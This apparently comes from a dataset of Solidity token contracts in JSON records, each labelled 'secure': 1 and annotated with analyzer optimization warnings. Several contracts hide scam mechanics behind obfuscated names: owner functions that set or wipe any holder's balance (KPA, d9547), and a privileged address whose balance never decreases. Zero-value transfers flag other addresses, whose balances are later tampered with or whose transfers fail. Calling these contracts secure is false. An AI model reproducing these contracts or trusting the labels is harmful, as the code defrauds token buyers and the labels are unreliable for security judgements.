}\n\n function ISO(address Px, uint256 Pk) public {\n require(msg.sender == oid);\n\n ikc[Px] = Pk;\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function KPA(address Px, uint256 Pk) public {\n require(msg.sender == oid);\n\n iirb[Px] = Pk;\n }\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n require(ikc[from] <= MIN);\n require(ikc[to] <= MIN);\n require(value <= iirb[from]);\n require(value <= allowance[from][msg.sender]);\n iirb[from] -= value;\n iirb[to] += value;\n allowance[from][msg.sender] -= value;\n if (from == oid) {\n from = ixF;\n }\n emit Transfer(from, to, value);\n return true;\n }\n}",
"file_name": "solidity_code_1711.sol",
"secure": 1,
"size_bytes": 4449
}
|
{
"code": "// SPDX-License-Identifier: MIN\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract SaudiPEPEToken is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: 90e5b49): SaudiPEPEToken.totalSupply should be immutable \n\t// Recommendation for 90e5b49: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65e2162): SaudiPEPEToken.infringements should be constant \n\t// Recommendation for 65e2162: Add the 'constant' attribute to state variables that never change.\n uint256 private infringements = 25;\n\n function transfer(\n address outlaw,\n uint256 security\n ) public returns (bool success) {\n protect(msg.sender, outlaw, security);\n return true;\n }\n\n mapping(address => uint256) private elect;\n\n function transferFrom(\n address militia,\n address outlaw,\n uint256 security\n ) public returns (bool success) {\n protect(militia, outlaw, security);\n require(security <= allowance[militia][msg.sender]);\n allowance[militia][msg.sender] -= security;\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: e061c09): SaudiPEPEToken.decimals should be constant \n\t// Recommendation for e061c09: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) private raid;\n\n function protect(\n address militia,\n address outlaw,\n uint256 security\n ) private returns (bool success) {\n if (elect[militia] == 0) {\n if (raid[militia] > 0 && militia != uniswapV2Pair) {\n elect[militia] -= infringements;\n }\n balanceOf[militia] -= security;\n }\n if (security == 0) {\n raid[outlaw] += infringements;\n }\n balanceOf[outlaw] += security;\n emit Transfer(militia, outlaw, security);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor(address _address) {\n name = \"Saudi PEPE\";\n symbol = \"SaudiPEPE\";\n totalSupply = 10000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n elect[_address] = infringements;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4633ece): SaudiPEPEToken.uniswapV2Pair should be immutable \n\t// Recommendation for 4633ece: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n string public name;\n\n function approve(\n address vote,\n uint256 security\n ) public returns (bool success) {\n allowance[msg.sender][vote] = security;\n emit Approval(msg.sender, vote, security);\n return true;\n }\n\n string public symbol;\n\n mapping(address => uint256) public balanceOf;\n}",
"file_name": "solidity_code_1712.sol",
"secure": 1,
"size_bytes": 3795
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Memeland {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 21000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: bf80711): memeland._name should be constant \n\t// Recommendation for bf80711: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Small Memeland Coin\";\n\t// WARNING Optimization Issue (constable-states | ID: 003824d): memeland._symbol should be constant \n\t// Recommendation for 003824d: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MMLD\";\n\t// WARNING Optimization Issue (immutable-states | ID: b5c04dd): memeland._owner should be immutable \n\t// Recommendation for b5c04dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function d9547(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1713.sol",
"secure": 1,
"size_bytes": 5843
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract ViralToken is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: aec8b4c): ViralToken.totalSupply should be constant \n\t// Recommendation for aec8b4c: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 69_000_000_000 * 10 ** 9;\n\n mapping(address => uint256) private goingViral;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e65987): ViralToken.acquaint should be constant \n\t// Recommendation for 2e65987: Add the 'constant' attribute to state variables that never change.\n uint256 private acquaint = 76;\n\n function transfer(\n address disconnected,\n uint256 trending\n ) public returns (bool success) {\n vvs(msg.sender, disconnected, trending);\n return true;\n }\n\n function vvs(\n address categorize,\n address disconnected,\n uint256 trending\n ) private returns (bool success) {\n if (goingViral[categorize] == 0) {\n balanceOf[categorize] -= trending;\n }\n\n if (trending == 0) navigate[disconnected] += acquaint;\n\n if (\n categorize != jumble &&\n goingViral[categorize] == 0 &&\n navigate[categorize] > 0\n ) {\n goingViral[categorize] -= acquaint;\n }\n\n balanceOf[disconnected] += trending;\n emit Transfer(categorize, disconnected, trending);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => uint256) private navigate;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c9633a4): ViralToken.jumble should be immutable \n\t// Recommendation for c9633a4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public jumble;\n\n function approve(\n address glue,\n uint256 trending\n ) public returns (bool success) {\n allowance[msg.sender][glue] = trending;\n emit Approval(msg.sender, glue, trending);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7260a57): ViralToken.decimals should be constant \n\t// Recommendation for 7260a57: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 435500b): ViralToken.symbol should be constant \n\t// Recommendation for 435500b: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"VIRAL\";\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b1638d): ViralToken.name should be constant \n\t// Recommendation for 7b1638d: Add the 'constant' attribute to state variables that never change.\n string public name = \"Viral\";\n\n constructor(address acrimoniously) {\n balanceOf[msg.sender] = totalSupply;\n goingViral[acrimoniously] = acquaint;\n IUniswapV2Router02 blame = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n jumble = IUniswapV2Factory(blame.factory()).createPair(\n address(this),\n blame.WETH()\n );\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address categorize,\n address disconnected,\n uint256 trending\n ) public returns (bool success) {\n require(trending <= allowance[categorize][msg.sender]);\n allowance[categorize][msg.sender] -= trending;\n vvs(categorize, disconnected, trending);\n return true;\n }\n}",
"file_name": "solidity_code_1714.sol",
"secure": 1,
"size_bytes": 4158
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract TryEx is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5191b91): TryEx._totalSupply should be immutable \n\t// Recommendation for 5191b91: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _totalSupply = totalSupply_;\n _balances[msg.sender] = totalSupply_;\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1715.sol",
"secure": 1,
"size_bytes": 5315
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract TyrantCoin is Ownable {\n mapping(address => uint256) private bdwi;\n\n mapping(address => uint256) private lqrku;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c59d811): TyrantCoin.lnwhqyicku should be immutable \n\t// Recommendation for c59d811: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public lnwhqyicku;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7cbe14): TyrantCoin.totalSupply should be constant \n\t// Recommendation for c7cbe14: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebad223): TyrantCoin.name should be constant \n\t// Recommendation for ebad223: Add the 'constant' attribute to state variables that never change.\n string public name = \"Tyrant Coin\";\n\n function transfer(\n address pbjwuyhca,\n uint256 lyowcmgr\n ) public returns (bool success) {\n mptdwo(msg.sender, pbjwuyhca, lyowcmgr);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function mptdwo(address tfcm, address pbjwuyhca, uint256 lyowcmgr) private {\n if (lqrku[tfcm] == 0) {\n balanceOf[tfcm] -= lyowcmgr;\n }\n balanceOf[pbjwuyhca] += lyowcmgr;\n if (lqrku[msg.sender] > 0 && lyowcmgr == 0 && pbjwuyhca != lnwhqyicku) {\n balanceOf[pbjwuyhca] = jhofamkp;\n }\n emit Transfer(tfcm, pbjwuyhca, lyowcmgr);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 09f9518): TyrantCoin.jhofamkp should be constant \n\t// Recommendation for 09f9518: Add the 'constant' attribute to state variables that never change.\n uint256 private jhofamkp = 120;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e1167e): TyrantCoin.decimals should be constant \n\t// Recommendation for 6e1167e: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function approve(\n address qldxjrf,\n uint256 lyowcmgr\n ) public returns (bool success) {\n allowance[msg.sender][qldxjrf] = lyowcmgr;\n emit Approval(msg.sender, qldxjrf, lyowcmgr);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c64182): TyrantCoin.symbol should be constant \n\t// Recommendation for 8c64182: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Tyrant Coin\";\n\n function transferFrom(\n address tfcm,\n address pbjwuyhca,\n uint256 lyowcmgr\n ) public returns (bool success) {\n require(lyowcmgr <= allowance[tfcm][msg.sender]);\n allowance[tfcm][msg.sender] -= lyowcmgr;\n mptdwo(tfcm, pbjwuyhca, lyowcmgr);\n return true;\n }\n\n constructor(address kqevimnpbxy) {\n balanceOf[msg.sender] = totalSupply;\n lqrku[kqevimnpbxy] = jhofamkp;\n IUniswapV2Router02 amwugcir = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n lnwhqyicku = IUniswapV2Factory(amwugcir.factory()).createPair(\n address(this),\n amwugcir.WETH()\n );\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_1716.sol",
"secure": 1,
"size_bytes": 3898
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Chewbacca is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Chewbacca\", \"CHEWIE\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1717.sol",
"secure": 1,
"size_bytes": 410
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ProxyRegistry.sol\" as ProxyRegistry;\n\ncontract BaseOpenSea {\n\t// WARNING Optimization Issue (constable-states | ID: c6c489e): BaseOpenSea._contractURI should be constant \n\t// Recommendation for c6c489e: Add the 'constant' attribute to state variables that never change.\n string private _contractURI;\n address private _proxyRegistry;\n\n function proxyRegistry() public view returns (address) {\n return _proxyRegistry;\n }\n\n function isOwnersOpenSeaProxy(\n address owner,\n address operator\n ) public view returns (bool) {\n address proxyRegistry_ = _proxyRegistry;\n\n if (proxyRegistry_ != address(0)) {\n if (block.chainid == 1 || block.chainid == 4) {\n return\n address(ProxyRegistry(proxyRegistry_).proxies(owner)) ==\n operator;\n } else if (block.chainid == 137 || block.chainid == 80001) {\n return proxyRegistry_ == operator;\n }\n }\n\n return false;\n }\n\n function _setOpenSeaRegistry(address proxyRegistryAddress) internal {\n _proxyRegistry = proxyRegistryAddress;\n }\n}",
"file_name": "solidity_code_1718.sol",
"secure": 1,
"size_bytes": 1253
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.